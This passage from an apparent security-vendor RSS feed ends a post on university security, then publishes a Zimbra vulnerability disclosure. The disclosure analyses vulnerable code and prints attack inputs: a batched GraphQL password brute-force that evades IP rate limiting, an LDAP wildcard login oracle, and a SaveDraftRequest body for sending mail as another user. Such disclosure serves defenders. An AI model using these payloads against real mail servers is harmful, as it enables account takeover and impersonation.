undefined;'>Universities also have large external attack surfaces that can be difficult to inventory centrally. Student portals, APIs, research servers, faculty websites, and other internet-facing assets may be created outside normal IT processes. Rapid7's Project Sonar continuously scans the public internet, helping organizations identify externally exposed services and assets that internal inventories may have missed.</span></p><h2 style="direction: ltr;">Vulnerability prioritization needs more than a severity score</h2><p style="direction: ltr;"><span style='font-size: undefined;'>University security teams rarely have the capacity to remediate every vulnerability at once, so prioritization has to reflect how likely an exposure is to be used in a real attack.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 combines vulnerability data with attacker intelligence, including insight from </span><a href="https://www.rapid7.com/products/metasploit/"><span style='font-size: undefined;'>Metasploit</span></a><span style='font-size: undefined;'>, our open source penetration testing framework used by security professionals to test and validate real-world exploits, with more than 3,000 exploit modules.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That intelligence is combined with insight from AttackerKB, incident response engagements, honeypots, and other threat intelligence sources, giving teams additional context around whether an exploit exists, whether exploitation has been observed, and how difficult a vulnerability may be to use in practice.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For a university working through thousands of findings across multiple campuses, that context can help teams direct limited remediation capacity toward exposures with stronger evidence of attacker interest rather than relying on severity scores alone.</span></p><h2 style="direction: ltr;">Incident response has to work across campus boundaries</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The compliance requirements discussed in </span><a href="/blog/post/it-compliance-frameworks-for-universities-drowning-in-regulatory-risk/" target="_self"><span style='font-size: undefined;'>Part 2</span></a><span style='font-size: undefined;'> put added pressure on investigation speed, particularly when legal or compliance teams need to establish whether regulated student, financial, health, or research data was accessed across more than one campus.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7's open source Velociraptor platform can collect forensic artifacts and run live investigations across thousands of endpoints simultaneously. In a multi-campus university, that could allow investigators to determine whether the same activity or data access occurred across several environments without conducting each investigation separately.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Automated response workflows can also be distributed across affected campus environments, allowing teams to isolate compromised systems, revoke credentials, or block indicators consistently rather than repeating the same response manually at each institution.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Campuses with smaller security teams benefit from that shared capability because the quality and speed of response are less dependent on how many people happen to be available locally when an incident occurs.</span></p><h2 style="direction: ltr;">Consolidation can return time to stretched security teams</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The operational case for a shared security model also comes down to the amount of work created by fragmentation. Separate campus tools mean separate licenses, integrations, training requirements, renewals, reporting processes, and vendor relationships, all of which consume time that understaffed security teams could be spending elsewhere.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The source material for this series includes an example of one organization recovering 96 hours per month by reducing manual work across disparate security tools. It also cites an average 74% improvement in mean time to detect where unified visibility and threat correlation were applied. For higher education teams working within tight regulatory reporting windows, the difference between finding an incident in hours rather than days can have a direct impact on how quickly the institution can assess scope and respond.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A system-wide agreement can also reduce the number of contracts, renewal cycles, and vendor relationships that central and campus teams need to manage, while allowing security capabilities to scale as the institution adds campuses, devices, and cloud services.</span></p><h2 style="direction: ltr;">Building security around the university as a whole</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Multi-campus universities will always have different technology needs across individual campuses, research environments, health services, and administrative functions. A connected security model does not require those environments to operate identically, but it does give central and local teams a better way to understand shared risk, coordinate investigations, and apply consistent response when an issue extends beyond a single campus.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Across this series, the same pattern has appeared from different angles. Threats move across organizational boundaries, regulated data rarely sits neatly within one campus, and the people responsible for protecting university systems are already working with limited time and resources. Bringing more of that security context together can help teams respond faster, share intelligence more effectively, and reduce the manual work created by disconnected tools and processes.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 helps more than 11,000 organizations worldwide take command of their security. Learn more at </span><a href="http://rapid7.com/sled"><span style='font-size: undefined;'>rapid7.com/sled</span></a><span style='font-size: undefined;'>.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/it-multi-campus-universities-building-more-connected-security-programs</link>
      <guid isPermaLink="false">blt4a09cfee58a55cbc</guid>
      <category><![CDATA[Higher Education]]></category>
      <category><![CDATA[Compliance]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Thu, 15 Oct 2026 19:20:59 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt30cad4cead79d2d3/6846a7113860835cfa35e65d/surface-command.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[From One Account to Every Mailbox: Breaking Zimbra's Identity Boundaries (Part 1)]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>An enterprise mail server authenticates users, stores private communications, delivers recovery links, runs calendars, and sends mail that employees and other systems trust. Compromising it can therefore expose both email and the identities and workflows built around it.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>During a broader assessment of Zimbra Collaboration Suite (ZCS), Rapid7 reported more than 80 vulnerabilities spanning authentication, mailbox authorization, calendar processing, web clients, document services, and the host operating system. The affected components are being fixed on different schedules, so we are publishing the analysis in stages. An accompanying </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker"><span style='font-size: undefined;'>GitHub repository</span></a><span style='font-size: undefined;'> containing full write-ups and PoCs serves as a live technical tracker, and will be updated as further findings and fixes become public.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This first article concentrates on five account-related vulnerabilities:</span></p><p><span style='font-size: undefined;'></span></p><table><colgroup data-width='1473.1410256410256'><col style="width:14.468473956746877%"/><col style="width:44.93799225447109%"/><col style="width:17.581480353335362%"/><col style="width:23.01205343544667%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Finding</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Rapid7 CVSS</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed release</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'></span><a href="https://nvd.nist.gov/vuln/detail/cve-2026-93637"><span style='font-size: undefined;'>CVE-2026-93637</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>GraphQL authentication rate-limit bypass</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"><span style='font-size: undefined;'>3.7 Low</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>No public fix listed</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'></span><a href="https://nvd.nist.gov/vuln/detail/cve-2026-93635"><span style='font-size: undefined;'>CVE-2026-93635</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>LDAP filter injection</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"><span style='font-size: undefined;'>5.3 Medium</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>No public fix listed</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://nvd.nist.gov/vuln/detail/cve-2026-73571"><span style='font-size: undefined;'>CVE-2026-73571</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Email impersonation via </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SaveDraftRequest</span></span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N"><span style='font-size: undefined;'>8.3 High</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ZCS 10.1.17</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://nvd.nist.gov/vuln/detail/cve-2026-10631"><span style='font-size: undefined;'>CVE-2026-10631</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>EWS cross-user mailbox access</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"><span style='font-size: undefined;'>6.5 Medium</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ZCS 10.1.20</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://nvd.nist.gov/vuln/detail/cve-2026-50055"><span style='font-size: undefined;'>CVE-2026-50055</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Sieve notify forwarding-restriction bypass</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"><span style='font-size: undefined;'>6.5 Medium</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ZCS 10.1.20</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Part 2 will cover unauthenticated stored XSS paths in the Classic and Modern clients and what they can do with the recipient's session. A script can install the Sieve forwarding rule (CVE-2026-50055); another path preserves direct mailbox access after the original session expires or the victim changes their password. CVE-2026-73571 makes these attacks more credible by placing the message in the mailbox as any chosen local user.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Parts 3 and 4 move through the document-service boundary from SSRF to code execution as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>zimbra</span></span><span style='font-size: undefined;'>, then cover multiple independent paths from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>zimbra</span></span><span style='font-size: undefined;'> to root. The BruCON presentation, </span><a href="https://youtu.be/NkM4UT2z0wc" target="_blank"><span style='font-size: undefined;'><em>Signed, Sealed, Compromised: Weaponizing Enterprise Mail Infrastructure</em></span></a><span style='font-size: undefined;'>, previewed these chains, including selected root-command output returned to the victim's browser after one message selection.</span></p><h2 style="direction: ltr;">Product description</h2><p style="direction: ltr;"><a href="https://www.zimbra.com/"><span style='font-size: undefined;'>Zimbra Collaboration Suite</span></a><span style='font-size: undefined;'> is a self-hosted platform for email, calendars, contacts, tasks, and file sharing. Zimbra calls its commercial server Network Edition. Within one Network Edition installation, customers can license a mixture of Standard and Professional users. Zimbra Desktop and Zimbra Connector for Outlook are separate client applications, while Exchange Web Services (EWS) is a separately licensed server feature for Outlook compatibility.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>ZCS includes two webmail clients with different request and rendering stacks: Classic relies primarily on SOAP, while Modern uses GraphQL. The server also accepts SMTP and iCalendar input, exposes compatibility services such as EWS, and delegates work to local components running under several operating-system identities.</span></p><h2 style="direction: ltr;">Testing setup</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 initially assessed ZCS </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>10.1.16_GA_4850</span></span><span style='font-size: undefined;'> Network Edition on Ubuntu 22.04. For fixed findings, each section describes Zimbra's fix and the accompanying </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker"><span style='font-size: undefined;'>Github repository</span></a><span style='font-size: undefined;'> retains the complete vulnerable-to-fixed diff.</span></p><h2 style="direction: ltr;">Impact</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The pre-authentication findings lower separate barriers to obtaining a foothold. GraphQL hides failed password attempts from Zimbra's source-IP counter. In the configured external-LDAP case, a second flaw can also leave the optional account-lockout policy with no local account to lock.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Each remaining finding is independently exploitable from an ordinary compromised account. Email impersonation needs no optional feature: the attacker places a different local address in an authenticated request. Zimbra submits the message from that account through the trusted outbound pipeline and records a copy in the selected user's Sent folder.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>If EWS is enabled for the compromised account, the attacker can read private conversations, attachments, drafts, sent mail, contacts and calendar entries from other users' mailboxes. A separate Sieve policy bypass can keep copies of future mail flowing to the attacker after the original session expires or the password changes.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>These examples do not represent everything an attacker can do with authenticated Zimbra access, or the full vulnerability set from the assessment.</span></p><h2 style="direction: ltr;">GraphQL authentication rate-limit bypass (CVE-2026-93637)</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This pre-authentication route requires only HTTPS access to Zimbra. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ZimbraInvalidLoginFilter</span></span><span style='font-size: undefined;'> normally records failed logins by source address around requests to the public service endpoints. Classic submits login attempts through the SOAP </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>AuthRequest</span></span><span style='font-size: undefined;'> path, whereas Modern exposes the same password check through its GraphQL </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>authenticate</span></span><span style='font-size: undefined;'> mutation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That limiter's failure threshold is 10 by default, and after a source crosses it within the configured window, subsequent requests handled by the filter receive HTTP 503. CVE-2026-93637 allows attempts through GraphQL to remain invisible to that counter.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Technical analysis</span></h3><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>The failure counter relies on a request attribute</span></h4><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ZimbraInvalidLoginFilter</span></span><span style='font-size: undefined;'> wraps requests to the public service endpoints and runs the downstream handler before its counter logic:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// ZimbraInvalidLoginFilter.doFilter()
// ... whitelist, disabled-filter and existing-suspension handling omitted
chain.doFilter(request, response);
if (req.getAttribute(AUTH_FAILED) != null) { // [0] wrapper-supplied signal
    // ... logging omitted
    boolean loginFailed = (Boolean)req.getAttribute(AUTH_FAILED);
    if (loginFailed) {
        // ... per-IP counter lookup and initialization omitted
        if (count.incrementAndGet() &gt; this.maxFailedLogin) {
            this.numberOfFailedOccurence.put(clientIp, count);
            this.suspiciousIpAddrLastAttempt.put(
                clientIp, System.currentTimeMillis());
        }
        this.numberOfFailedOccurence.put(clientIp, count);
    }
    // ... final debug logging omitted
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'>, failure processing begins only if the downstream path added </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>auth.failed</span></span><span style='font-size: undefined;'> to the request. The relevant SOAP exception path is:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// SoapEngine.dispatchRequest()
// ... earlier dispatch handling omitted
catch (AccountServiceException.AuthFailedServiceException e) {
    HttpServletRequest httpReq = (HttpServletRequest)context.get("servlet.request");
    httpReq.setAttribute("auth.failed", (Object)Boolean.TRUE); // [1] failure becomes visible
    String clientIp = (String)context.get(REQUEST_IP);
    httpReq.setAttribute(REQUEST_IP, (Object)clientIp);
    response = soapProto.soapFault((ServiceException)e);
    // ... debug and informational logging omitted
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SoapEngine.dispatchRequest()</span></span><span style='font-size: undefined;'> sets the attribute before returning the authentication fault. A failed SOAP login therefore reaches the check at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'> and increments the source-IP counter.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>GraphQL skips the SOAP failure handler</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>Modern Zimbra's GraphQL extension builds an ordinary </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>AuthRequest</span></span><span style='font-size: undefined;'>, then reaches its handler through </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>XMLDocumentUtilities.executeDocumentAsGuest()</span></span><span style='font-size: undefined;'>:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// XMLDocumentUtilities.executeDocumentAsGuest()
public static Element executeDocumentAsGuest(DocumentHandler handler,
        Element request, RequestContext rctxt) throws ServiceException {
    HashMap&lt;String, Object&gt; context = new HashMap&lt;String, Object&gt;();
    context.put("zimbra.context",
        GQLAuthUtilities.getGuestZimbraSoapContext(request.getQName(), handler, rctxt));
    context.put("servlet.request", rctxt.getRawRequest());
    context.put("servlet.response", rctxt.getRawResponse());
    return handler.handle(request, context); // [2] bypasses SoapEngine
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'>, the helper calls the authentication handler without passing through </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SoapEngine</span></span><span style='font-size: undefined;'>. An incorrect password still becomes a GraphQL error, but the catch block at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'> never runs. The attribute read at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'> is absent, so the filter does not increment the source-IP counter.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exploitation</span></h3><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Batched authentication</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>An unauthenticated client sends JSON to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/service/extension/graphql</span></span><span style='font-size: undefined;'>. GraphQL aliases let its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>query</span></span><span style='font-size: undefined;'> field invoke </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>authenticate</span></span><span style='font-size: undefined;'> repeatedly with different passwords:</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><pre language="json">mutation {
  a0: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass0"}) { authToken }
  a1: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass1"}) { authToken }
  a2: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass2"}) { authToken }
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Each alias performs a real authentication operation. Failures appear in the GraphQL </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>errors</span></span><span style='font-size: undefined;'> array, while a successful alias returns an authentication token under its corresponding name. The GraphQL engine imposes no application-level alias limit on this path. The whole document remains one HTTP request, so Jetty's request-count control sees one request rather than the number of login operations inside it.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Alias execution is sequential and backend-bound, so the rate depends on the deployment. Using 100 aliases per request, 10,000 candidates completed in under two minutes without the Zimbra IP counter or Jetty's request filter blocking the source. The vulnerability removes IP-level failed-login accounting and reduces request overhead.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/pocs/CVE-2026-93637/gql_bruteforce_bypass.py"><span style='font-size: undefined;'>CVE-2026-93637 PoC</span></a><span style='font-size: undefined;'> accepts an ordinary password file, generates the batched GraphQL documents and reports the accepted candidate.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9b3b08c41c29d6b5/6ace73e77963af071b6cce49/metasploit-module.png" alt="metasploit-module.png" caption="Figure 1: Metasploit module tests 1500 passwords in 15 requests, successfully identifying the correct password in the final batch." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="metasploit-module.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9b3b08c41c29d6b5/6ace73e77963af071b6cce49/metasploit-module.png" data-sys-asset-uid="blt9b3b08c41c29d6b5" data-sys-asset-filename="metasploit-module.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Metasploit module tests 1500 passwords in 15 requests, successfully identifying the correct password in the final batch." data-sys-asset-alt="metasploit-module.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: Metasploit module tests 1500 passwords in 15 requests, successfully identifying the correct password in the final batch.</figcaption></div></figure><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Per-account lockout</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The IP counter is not Zimbra's only possible control. Its separate per-account lockout policy is disabled by default, but when enabled, failed GraphQL operations still increment the target local account's counter and stop further guessing when that account locks.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>CVE-2026-93635 and external LDAP</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>On domains configured with external LDAP search-filter authentication and lazy auto-provisioning, CVE-2026-93635 turns the login field into a password oracle for an external directory user. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>LdapUtil.computeDn()</span></span><span style='font-size: undefined;'> substitutes a wildcarded login such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>jdoe*@example.test</span></span><span style='font-size: undefined;'> into the configured filter without escaping it. If that pattern selects one directory entry, Zimbra tries the candidate password against that user. An incorrect password returns </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>account.AUTH_FAILED</span></span><span style='font-size: undefined;'>; a correct password passes the LDAP bind and reaches lazy provisioning, producing a different response.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The wildcarded login is not the name of an existing local Zimbra account, so the optional per-account lockout has no account against which to record the failed attempt. Sending the same operation through GraphQL also avoids the source-IP counter. With per-account lockout enabled and its threshold set to five, repeated wrong candidates incremented neither counter, while a correct password remained distinguishable. This two-bug composition applies only to the stated external-LDAP configuration, not Zimbra's default local-authentication path.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/pocs/CVE-2026-93635/ldap_auth_filter_oracle.py"><span style='font-size: undefined;'>LDAP/GraphQL composition PoC</span></a><span style='font-size: undefined;'> and </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/vulnerabilities/CVE-2026-93635.md"><span style='font-size: undefined;'>CVE-2026-93635 tracker entry</span></a><span style='font-size: undefined;'> cover this configured external-directory path in detail. The </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/vulnerabilities/CVE-2026-93637.md"><span style='font-size: undefined;'>CVE-2026-93637 tracker entry</span></a><span style='font-size: undefined;'> records the standalone finding and affected-version evidence.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Impact</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Anyone who can reach the public GraphQL endpoint can make repeated password guesses without triggering Zimbra's source-IP suspension. Batching several candidates also reduces the number of HTTP requests and the associated network overhead. This makes weak, reused or previously exposed passwords more practical to test, but it does not reveal a strong password or bypass a separate MFA check.</span></p><h2 style="direction: ltr;">Email impersonation via SaveDraftRequest (CVE-2026-73571)</h2><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SaveDraftRequest</span></span><span style='font-size: undefined;'> has a delegated-sending path selected by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>isDelegatedReq</span></span><span style='font-size: undefined;'>. On a vulnerable server, an ordinary user can place another local address in the request's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>From</span></span><span style='font-size: undefined;'> field. The handler resolves that address to its mailbox, assumes the mailbox owner's authority and calls Zimbra's normal send routine without checking whether the signed-in account has send-as rights. This is an application authorization failure, not a forged display name or a hand-written SMTP header: Zimbra submits the attacker's message as the selected account and adds the corresponding item to that account's Sent folder.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The target must be on the same mailbox server, but the attack requires no optional Zimbra feature, existing delegation, administrator right or victim action.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Technical Analysis</span></h3><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Claimed sender becomes mailbox authority</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>After the request parser extracts the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>From</span></span><span style='font-size: undefined;'> address, the delegated branch resolves that address to a local account and reads an optional </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>delegateeAccountId</span></span><span style='font-size: undefined;'>:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// SaveDraft.handle() excerpt
// ... message fields, From address and delegation attributes parsed above
if (mailAddress != null) {
    delegatorAccount = prov.get(
        Key.AccountBy.name, mailAddress, zsc.getAuthToken()); // [0] account named by From
}
if (isDelegatedReq) {
    delegatorMbox = MailboxManager.getInstance()
        .getMailboxByAccountId(delegatorAccount.getId());
    Account delegateeAccount = null;
    OperationContext oct = null;
    if (delegateeAccountId != null) {
        delegateeAccount = prov.getAccountById(delegateeAccountId);
        oct = new OperationContext(delegateeAccount); // [1] supplied account context
    } else if (delegatorMbox != null) {
        oct = new OperationContext(delegatorMbox); // [2] claimed sender context
    }
    if (oct != null && delegatorMbox != null) {
        mm = ParseMimeMessage.parseMimeMsgSoap(
            zsc, oct, delegatorMbox, msgElem, null, mimeData);
        boolean deliveryReport = false;
        // ... optional delivery-report update omitted
        SendMsg.doSendMessage(oct, delegatorMbox, mm, mimeData.uploads,
            null, "r", null, null, false, false, false, deliveryReport); // [3] platform delivery
    }
    // ... response construction omitted
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>There is no </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>checkRight()</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>canAccessAccount()</span></span><span style='font-size: undefined;'>, or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>canSendAs()</span></span><span style='font-size: undefined;'> call between resolving the account at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'> and delivery at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'>. In the demonstrated request, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>delegateeAccountId</span></span><span style='font-size: undefined;'> is absent. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'>, Zimbra constructs the operation context from the mailbox named in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>From</span></span><span style='font-size: undefined;'>, causing the later send to treat the selected account as the caller. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> then submits the message through Zimbra's legitimate sending path.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>There is a second way to trigger the flaw. The attacker can supply the claimed sender's account UUID in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>delegateeAccountId</span></span><span style='font-size: undefined;'>. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'>, Zimbra constructs the operation context directly from that account and reaches the same impersonation result without checking the identity that was actually signed in.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exploitation</span></h3><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Sending as a local identity</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The relevant </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SaveDraftRequest</span></span><span style='font-size: undefined;'> body is:</span></p><p style="direction: ltr;"><span style='color:rgb(147, 52, 230);font-size: undefined;'></span></p><pre language="xml">&lt;SaveDraftRequest xmlns="urn:zimbraMail" isDelegatedReq="1"&gt;
  &lt;m&gt;
    &lt;e t="t" a="recipient@example.test"/&gt;
    &lt;e t="f" a="ceo@example.test"/&gt;
    &lt;su&gt;Updated payroll review&lt;/su&gt;
    &lt;mp ct="text/plain"&gt;&lt;content&gt;Please review the changes.&lt;/content&gt;&lt;/mp&gt;
  &lt;/m&gt;
